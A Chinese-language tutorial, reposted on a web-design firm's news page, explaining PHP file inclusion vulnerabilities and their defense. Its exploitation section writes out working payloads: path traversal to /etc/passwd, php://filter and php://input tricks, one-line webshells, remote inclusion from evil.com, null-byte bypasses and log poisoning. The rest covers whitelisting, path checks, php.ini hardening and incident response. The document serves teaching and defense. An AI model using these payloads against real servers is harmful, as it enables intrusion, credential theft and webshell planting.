尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

文件包含漏洞:从原理到防御的Web安全实战指南

文件包含漏洞:从原理到防御的Web安全实战指南
📅 发布时间:2026/7/8 0:40:29

1. 项目概述:为什么文件包含漏洞是Web安全的“隐形杀手”?

在Web应用开发中,为了提高代码的复用性和模块化,开发者常常会使用文件包含函数。比如,一个网站的头部导航栏、底部版权信息,或者一些通用的数据库连接配置,都会被写成独立的文件,然后在需要的地方通过include、require等函数引入。这个设计初衷是好的,能极大提升开发效率。但问题就出在,当这个“包含”的动作,其目标文件路径可以由用户(比如攻击者)通过URL参数、表单等方式任意控制时,一个看似无害的功能就变成了一个高危的安全漏洞——文件包含漏洞。

我见过太多因为这个小疏忽导致整个服务器沦陷的案例。攻击者利用这个漏洞,轻则可以读取服务器上的敏感配置文件(比如数据库密码),重则可以直接在服务器上执行任意代码,拿到整个系统的控制权。更棘手的是,这个漏洞常常与其他漏洞(如文件上传)形成“组合拳”,让防御变得异常困难。今天,我就结合自己多年的渗透测试和代码审计经验,把这个漏洞从原理到利用,再到如何彻底防御,给你掰开揉碎了讲清楚。无论你是开发者、安全运维,还是对Web安全感兴趣的爱好者,这篇文章都能让你对文件包含漏洞有一个透彻的理解。

2. 漏洞原理深度拆解:从“方便之门”到“潘多拉魔盒”

要理解漏洞,必须先理解其正常工作的机制。文件包含漏洞的核心,在于“动态包含”。

2.1 动态包含与静态包含的本质区别

我们先看一段安全的、静态包含的代码:

<?php include(‘./header.php’); // 包含当前目录下的 header.php 文件 ?>

这里的文件路径‘./header.php’是硬编码在程序里的,是一个固定的字符串。用户无法改变它,所以是安全的。

再看一段存在漏洞的、动态包含的代码:

<?php $page = $_GET[‘page’]; // 从URL的GET参数中获取 ‘page’ 的值 include($page . ‘.php’); // 将获取的值拼接 ‘.php’ 后包含 ?>

这段代码的本意可能是:用户访问index.php?page=about,程序就会包含about.php文件,显示“关于我们”页面。看起来逻辑通顺,功能灵活。

漏洞就诞生在这个“灵活”里。开发者假设用户只会输入像about、contact这样的预期值。但攻击者从不按常理出牌。

2.2 攻击者的视角:可控的输入点

对于攻击者来说,$_GET[‘page’]是一个完全可控的输入点。他不仅可以输入about,还可以输入:

  • ../../../etc/passwd:尝试穿越目录,读取Linux系统的用户账户文件。
  • http://evil.com/shell.txt:如果服务器配置允许,直接包含远程恶意脚本。
  • php://filter/read=convert.base64-encode/resource=config.php:利用PHP伪协议,以Base64编码方式读取源码,避免直接输出时被解析。

当这些恶意输入被直接拼接到include()函数中时,PHP解释器会忠实地执行“包含”这个动作。它不会判断这个文件是不是你“预期”的菜单文件,它只认路径。如果路径指向了一个可读的文件,它就会尝试把这个文件的内容拉进来,如果是PHP代码,就会执行。

关键理解:include()和require()这类函数,其本质是将指定文件的内容读取并插入到当前脚本的位置,然后执行。当被包含的文件是纯文本时,内容会被输出;当被包含的文件是PHP代码时,代码会被执行。这个“执行”的权限,是当前Web服务器进程(如www-data, apache用户)的权限。这才是漏洞危害巨大的根源——它可能让攻击者以Web服务的身份执行任意操作。

2.3 漏洞的两种主要类型

根据包含的文件来源,漏洞主要分为两类:

本地文件包含:包含的是服务器本地文件系统上的文件。

  • 利用场景:读取敏感文件 (/etc/passwd,config.php,.env),或配合文件上传漏洞,包含上传的恶意图片马。
  • 关键点:攻击者需要知道或能猜出目标文件的路径。

远程文件包含:包含的是通过HTTP、FTP等协议从远程服务器获取的文件。

  • 利用场景:直接在URL中包含攻击者控制的远程服务器上的PHP脚本,实现一键GetShell。
  • 前提条件:PHP配置中allow_url_include选项必须为On(默认是Off)。这使得RFI在实际中比LFI少见,但危害更直接。

很多初学者会混淆“文件包含”和“文件读取”。文件读取漏洞(如目录遍历)只能读取文件内容并显示。而文件包含漏洞,如果包含的是一个以PHP等脚本语言后缀结尾的文件,或者文件内容被当作PHP代码解析,就会执行其中的代码。这是质的不同。例如,包含一个shell.jpg的文件,如果其内容是一句话木马<?php @eval($_POST[‘cmd’]);?>,且服务器配置错误(如未正确处理MIME类型),这张“图片”就会被当作PHP执行。

3. 漏洞利用手法全实录:从信息泄露到系统沦陷

理解了原理,我们进入实战环节。我会用一个简单的测试环境(PHP+Apache)来演示每一步,并解释背后的逻辑。假设我们有一个存在漏洞的页面vuln.php,代码如下:

<?php $file = $_GET[‘file’]; include($file); ?>

3.1 本地文件包含的利用实战

场景一:敏感信息读取这是最直接、最常见的利用方式。目标是读取服务器上的配置文件、日志文件等。

  • 读取Linux系统密码文件:/etc/passwd记录了所有用户信息,是信息收集的第一步。
    http://target.com/vuln.php?file=../../../etc/passwd
    ../是目录遍历(Path Traversal)的典型手法,目的是跳出Web根目录,访问系统其他路径。需要多少层../取决于vuln.php文件在服务器上的实际路径深度。这通常需要一些猜测和尝试。
  • 读取Web应用配置文件:这往往是“致命一击”。比如读取config.php、database.ini、.env等文件,直接获取数据库连接字符串、API密钥、加密盐值。
    http://target.com/vuln.php?file=./config/config.php

    实操心得:直接包含.php文件时,其内容会被执行,你不会在页面上看到源码。这时就需要用到PHP伪协议来读取源码。这是LFI利用中的一个核心技巧。

场景二:结合文件上传GetShell这是LFI最具威胁的利用方式。如果网站同时存在文件上传漏洞,但上传的文件被重命名、移动到非Web目录、或做了内容检查,导致无法直接访问执行。

  1. 攻击者上传一个图片马(内容为<?php system($_GET[‘c’]);?>)到/uploads/tmp.jpg。
  2. 由于服务器检查不严,文件被成功保存。
  3. 攻击者利用LFI漏洞去包含这个上传的图片:
    http://target.com/vuln.php?file=./uploads/tmp.jpg
  4. 如果服务器配置(如mime.type处理不当或特定Apache/Nginx解析漏洞)导致.jpg文件被当作PHP解析,那么其中的PHP代码就会被执行。攻击者随后访问:
    http://target.com/vuln.php?file=./uploads/tmp.jpg&c=whoami
    就能执行系统命令,输出当前Web服务的运行用户。

场景三:利用PHP伪协议进行高级利用PHP内置了一系列伪协议,如同瑞士军刀,极大扩展了文件包含的利用面。

  • php://filter– 读取源码的利器当你想读取一个.php文件的源代码而不是执行它时,就用这个协议。因为它会将文件内容进行编码(如Base64)后输出,避免被解析。
    http://target.com/vuln.php?file=php://filter/read=convert.base64-encode/resource=index.php
    访问后,你会得到一串Base64编码的字符串。解码后,就是index.php的完整源代码。通过分析源码,可以寻找其他漏洞(如数据库连接信息、硬编码密钥、其他包含点)。
  • php://input– 执行任意代码的通道这个协议允许你将POST请求的原始数据作为PHP代码执行。这需要allow_url_include=On。 攻击步骤:
    1. 使用Burp Suite或Curl发送一个POST请求。
    2. 请求URL:http://target.com/vuln.php?file=php://input
    3. 请求体(Body)中直接写入PHP代码:<?php phpinfo(); ?>
    4. 服务器响应中就会显示phpinfo()的信息。将代码换成一句话木马,就能直接写入WebShell。

    注意事项:利用php://input时,你的代码是在当前漏洞文件(vuln.php)的上下文中执行的。这意味着如果你能通过它执行file_put_contents(‘shell.php’, ‘<?php eval($_POST[cmd]);?>’),就能在服务器上创建一个永久的WebShell文件。

  • data://– 另一种代码执行方式同样需要allow_url_include=On。它允许在URI中直接嵌入Base64编码的数据。
    http://target.com/vuln.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
    其中PD9waHAgcGhwaW5mbygpOyA/Pg==就是<?php phpinfo(); ?>的Base64编码。这种方式更为简洁。

3.2 远程文件包含的利用实战

RFI的利用相对“粗暴”。假设目标allow_url_include=On。

  1. 攻击者在自己的可控服务器(http://evil.com/)上放置一个内容为<?php phpinfo();?>的文本文件info.txt。
  2. 构造攻击URL:
    http://target.com/vuln.php?file=http://evil.com/info.txt
  3. 目标服务器的PHP解释器会去请求http://evil.com/info.txt,获取其内容,并将其作为PHP代码执行,从而在目标服务器上输出phpinfo信息。

为什么RFI危害极大?因为它实现了攻击载荷的“远程托管”。攻击者可以随时更新evil.com上的脚本,而无需再次利用上传等漏洞。一旦RFI成功,攻击者就拥有了一个在目标服务器上执行任意远程代码的通道,可以快速部署完整的后门。

3.3 绕过常见防御限制的技巧

聪明的开发者会加一些过滤,但往往不够彻底。

技巧一:后缀拼接绕过漏洞代码修改为:

<?php $file = $_GET[‘file’]; include($file . ‘.html’); // 强制添加 .html 后缀 ?>

开发者认为这样就能确保只包含.html文件。绕过方法:

  • 利用%00空字节截断(PHP < 5.3.4):
    http://target.com/vuln.php?file=../../../etc/passwd%00
    %00是URL编码的空字符(NULL)。在旧版PHP中,它会被认为是字符串的结束符。因此../../../etc/passwd%00.html在内部处理时,在%00处被截断,实际包含的还是../../../etc/passwd。
  • 利用路径长度截断(Windows/旧系统):
    http://target.com/vuln.php?file=../../../etc/passwd…………………………………………………………………. // 填充大量字符
    在Windows系统下,当路径长度超过256字符时,后面的部分会被截断。Linux下则是4096字符。通过添加大量.或./使总长度超限,从而丢弃强制添加的.html。

技巧二:协议封装绕过即使加了后缀,伪协议依然可能有效。因为伪协议的完整URI本身可能不受后缀拼接的影响,或者协议解析优先级更高。

http://target.com/vuln.php?file=php://filter/read=convert.base64-encode/resource=config.php%00

即使代码是include($file . ‘.inc’),利用%00截断,最终尝试包含的是php://filter/...config.php%00.inc,空字节后的.inc被忽略。

技巧三:利用日志文件包含这是一个非常经典的“无文件上传”GetShell技巧。如果服务器上的日志文件(如Apache的access.log、SSH的auth.log)可读,且其中记录了用户可控的输入(如HTTP请求中的User-Agent、Referer),那么:

  1. 攻击者故意发送一个请求,在User-Agent中携带PHP代码:<?php system($_GET[‘c’]);?>
  2. 这段代码被原样记录到access.log文件中。
  3. 攻击者利用LFI漏洞去包含这个日志文件:
    http://target.com/vuln.php?file=../../../var/log/apache2/access.log
  4. 日志文件中的PHP代码被解析执行。攻击者即可通过参数c传递系统命令。

排查技巧:在渗透测试中,如果发现LFI但无上传点,应立刻尝试包含/proc/self/environ(环境变量)、/var/log/auth.log、Apache/Nginx日志等文件,寻找注入代码的机会。

4. 漏洞挖掘与渗透测试中的实战定位

知道了怎么利用,那在真正的黑盒或白盒测试中,如何发现它呢?

4.1 黑盒测试(外部探测)

  1. 参数枚举与模糊测试:使用Burp Suite的Intruder或专门工具(如ffuf),对每一个接收参数的端点(尤其是像page,file,template,load这类名字的参数)进行测试。Payload集合应包括:
    • 路径遍历Payload:../../../../etc/passwd,....//....//etc/passwd(双重编码绕过)。
    • 伪协议Payload:php://filter/convert.base64-encode/resource=index.php。
    • 远程URL测试:http://your-collaborator-domain(用于探测RFI,配合DNSLog或Burp Collaborator观察是否有外部请求发出)。
  2. 错误信息分析:尝试包含一个不存在的文件,如?file=non-existent。观察错误信息。如果错误信息中回显了完整的路径(如Warning: include(/var/www/html/non-existent.php): failed to open stream),这泄露了服务器的绝对路径,为后续的目录遍历攻击提供了关键信息。
  3. 功能点推测:关注网站中那些看起来是“模块化”的部分。比如,不同语言切换 (?lang=en)、主题切换 (?theme=dark)、下载功能 (?download=report.pdf)。这些功能背后很可能就是文件包含。

4.2 白盒测试(代码审计)

这是发现漏洞最直接有效的方式。在PHP项目中,全局搜索以下函数:

  • include
  • include_once
  • require
  • require_once
  • fopen
  • file_get_contents(虽然不执行PHP,但可能用于读取敏感文件)

审计关键点:

  1. 变量是否用户可控:检查传递给这些函数的参数,是否直接或间接来源于$_GET,$_POST,$_COOKIE,$_REQUEST。
  2. 过滤是否彻底:检查是否有过滤。常见的错误过滤包括:
    • 只过滤../:可以用....//或..\(Windows)绕过。
    • 替换为空:将../替换为空字符串。那么..././在被删除中间的../后,会变成../,成功绕过。
    • 白名单校验:这是相对安全的。检查是否是白名单机制,以及白名单列表是否完整、是否可被绕过(如利用%00截断白名单后缀)。
  3. 上下文环境:查看包含操作发生的目录环境。是否可以通过目录穿越跳出限制目录?

5. 彻底防御:从开发到运维的完整方案

知道了攻击手法,防御就有了针对性。防御的核心原则是:“数据与代码分离”和“最小权限原则”。

5.1 开发阶段:编写安全的代码

第一原则:避免动态包含,使用静态映射这是最根本的解决方法。如果必须根据用户输入加载不同模块,请使用白名单机制。

// 危险的做法 $page = $_GET[‘page’]; include($page . ‘.php’); // 安全的做法:白名单 $allowed_pages = [‘home’, ‘about’, ‘contact’, ‘products’]; $page = $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/404.php’); }

白名单之外的任何输入都被拒绝,从根本上杜绝了路径穿越和任意文件包含。

第二原则:如果必须动态,则严格过滤与校验如果业务上无法实现白名单(极其罕见),则必须进行最强过滤。

  • 路径规范化:使用realpath()和basename()函数。
    $file = $_GET[‘file’]; $base_dir = ‘/var/www/html/includes/’; // 允许包含的基准目录 $real_path = realpath($base_dir . $file); // 解析绝对路径 // 检查解析后的真实路径是否以基准目录开头 if ($real_path === false || strpos($real_path, $base_dir) !== 0) { die(‘非法访问!’); } // 进一步,确保最终包含的文件名在预期内 $file_name = basename($real_path); if (!preg_match(‘/^[a-zA-Z0-9_\-]+\.php$/’, $file_name)) { die(‘非法文件!’); } include($real_path);
    realpath()会解析所有符号链接和../,返回绝对路径。通过检查这个绝对路径是否在允许的目录内,可以有效防止目录穿越。

第三原则:关闭危险特性在包含函数前,明确关闭远程包含。

// 在代码层面显式禁用远程URL包含(如果PHP配置允许) if (preg_match(‘/^(https?|ftp):\/\//i’, $file)) { die(‘远程文件包含已禁用!’); } // 但更推荐在php.ini中全局设置

5.2 服务器配置:构筑运行环境防线

开发者的代码是最后一道防线,运维的配置则是第一道屏障。

  • 修改PHP配置文件(php.ini):
    allow_url_fopen = Off allow_url_include = Off
    将这两个选项设置为Off,可以彻底关闭远程文件包含(RFI)的可能性。这是必须要做的生产环境配置。
  • 设置open_basedir:
    open_basedir = /var/www/html:/tmp
    这个指令将PHP可访问的文件限制在指定的目录树内。即使包含漏洞被触发,攻击者也无法跳出这个“监狱”去读取/etc/passwd等系统文件。多个目录用冒号分隔。
  • Web服务器权限控制:
    • 以非root、低权限用户(如www-data,nginx)运行Web服务进程。
    • 严格控制Web根目录及其子目录的读写权限。通常,只有上传目录需要写权限,其他目录应设置为只读。
    • 将配置文件、日志文件等敏感资源放在Web根目录之外。

5.3 安全运维与监控

  • 定期更新与漏洞扫描:及时更新PHP、Web服务器(Apache/Nginx)及所有应用框架的版本。使用自动化漏洞扫描工具(如Nessus, OpenVAS)或Web应用扫描器(如AWVS, Burp Suite Professional)定期对业务进行扫描。
  • 日志审计:密切关注Web服务器错误日志和访问日志。大量异常的../序列、伪协议字符串或对已知配置文件的访问尝试,都是文件包含攻击的迹象。可以配置日志告警规则。
  • 部署WAF:在应用前端部署Web应用防火墙。成熟的WAF(如ModSecurity with OWASP CRS规则集)可以识别并阻断常见的路径遍历、伪协议利用等攻击Payload。

6. 常见问题与排查技巧实录

在实际开发和应急响应中,你会遇到一些典型场景和问题。

Q1:我们的代码用了白名单,为什么安全扫描工具还报“潜在的本地文件包含漏洞”?A1:这可能是静态代码分析工具的误报。它识别到了include函数和用户输入变量出现在相近的代码段,但未能准确理解你的白名单逻辑。你需要人工复核:1) 白名单数组是否完全覆盖了所有合法情况?2) 用户输入在进入in_array()判断前,是否经过了任何可能被绕过的处理(如大小写转换、去空格)?3) 白名单校验后,拼接路径时是否又引入了其他不可控变量?如果确认逻辑严密,可以将其标记为误报。

Q2:攻击者利用LFI包含了一个图片马,但为什么没有执行成功?A2:大概率是服务器配置正确,没有将.jpg文件当作PHP解析。检查方向:

  1. 服务器MIME类型配置:确认Apache的mime.types或Nginx的mime.types中,.jpg的MIME类型是image/jpeg,而不是application/x-httpd-php。
  2. 特定的解析漏洞:历史上存在过一些解析漏洞(如IIS6.0的*.asp;.jpg解析漏洞,Apache的mod_negotiation多后缀解析问题)。检查服务器版本和模块,确保已更新到无漏洞版本。
  3. 文件内容:使用file命令或十六进制编辑器检查图片马,确保PHP代码确实被正确写入,且没有被图像处理库破坏。

Q3:在应急响应中,怀疑存在文件包含漏洞被利用,该如何排查?A3:按照以下步骤进行:

  1. 检查访问日志:迅速检索Web日志,搜索包含../,..\,php://,data://,http://等关键字的请求。重点关注返回状态码为200但参数异常的请求。
  2. 检查文件变更:使用find命令或HIDS(主机入侵检测系统)记录,查找Web目录下近期被创建或修改的.php,.jsp,.asp文件,特别是文件名异常(如随机字符串)的文件。
  3. 检查进程和网络连接:使用netstat,lsof命令检查是否有异常的外连IP和端口,特别是Web服务器进程发起的连接。
  4. 审查代码:定位到攻击入口点后,立即审查对应源代码,按照第5部分的防御方案进行修复。临时补救措施可以是先在Web服务器(如Nginx的location规则或Apache的.htaccess)层面拦截包含可疑参数的请求。

Q4:allow_url_include已经设为Off,为什么还能利用php://伪协议?A4:这是一个关键点。allow_url_include和allow_url_fopen主要控制的是http://,ftp://,zlib://等远程URL风格的包装器。而php://,file://,data://等是PHP内置的流包装器。allow_url_include=Off只能阻止RFI,但无法阻止LFI和这些本地伪协议的利用。防御它们,必须依靠前面提到的代码层白名单或路径校验,以及open_basedir限制。

文件包含漏洞的狡猾之处在于,它披着“正常功能”的外衣。防御它,需要开发者在追求功能灵活性的同时,时刻绷紧安全这根弦,牢记“所有用户输入都是不可信的”。而作为安全人员,理解其原理和所有可能的利用技巧,才能在日常的代码审计和渗透测试中,准确地识别风险,并给出真正有效的修复建议。安全是一个持续的过程,没有一劳永逸的银弹,但通过规范编码、严格配置和持续监控,我们可以将风险降到最低。

相关新闻

  • 基于低代码平台构建企业OA系统:架构设计与审批流引擎技术解析
  • EM3080-W工业级条码扫描模块与PIC18F45K22系统设计
  • AltDrag:3分钟掌握Windows窗口高效管理,提升5倍工作效率

最新新闻

  • 抽帧与截图进阶:精确抽帧、关键帧提取与批量处理
  • lite-llm使用docker compose部署
  • Windows 证书管理:3种存储位置(个人/根/中间)的导入策略与安全影响
  • 同城运营随笔:好的投流素材,从来都不是念广告
  • 从算法工程化角度看空间换时间策略的权衡的技术7
  • 松下伺服驱动器 3 种控制模式(位置/速度/转矩)接线与参数设置对比指南

日新闻

  • PROPKA 3深度解析:蛋白质pKa预测的实战指南与算法原理
  • 微信小程序 globalData 监听:基于 Object.defineProperty 的 3 种实现方案对比
  • MySQL 8.0 数据清洗实战:3类异常值识别与 UPDATE/DELETE 批量处理

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号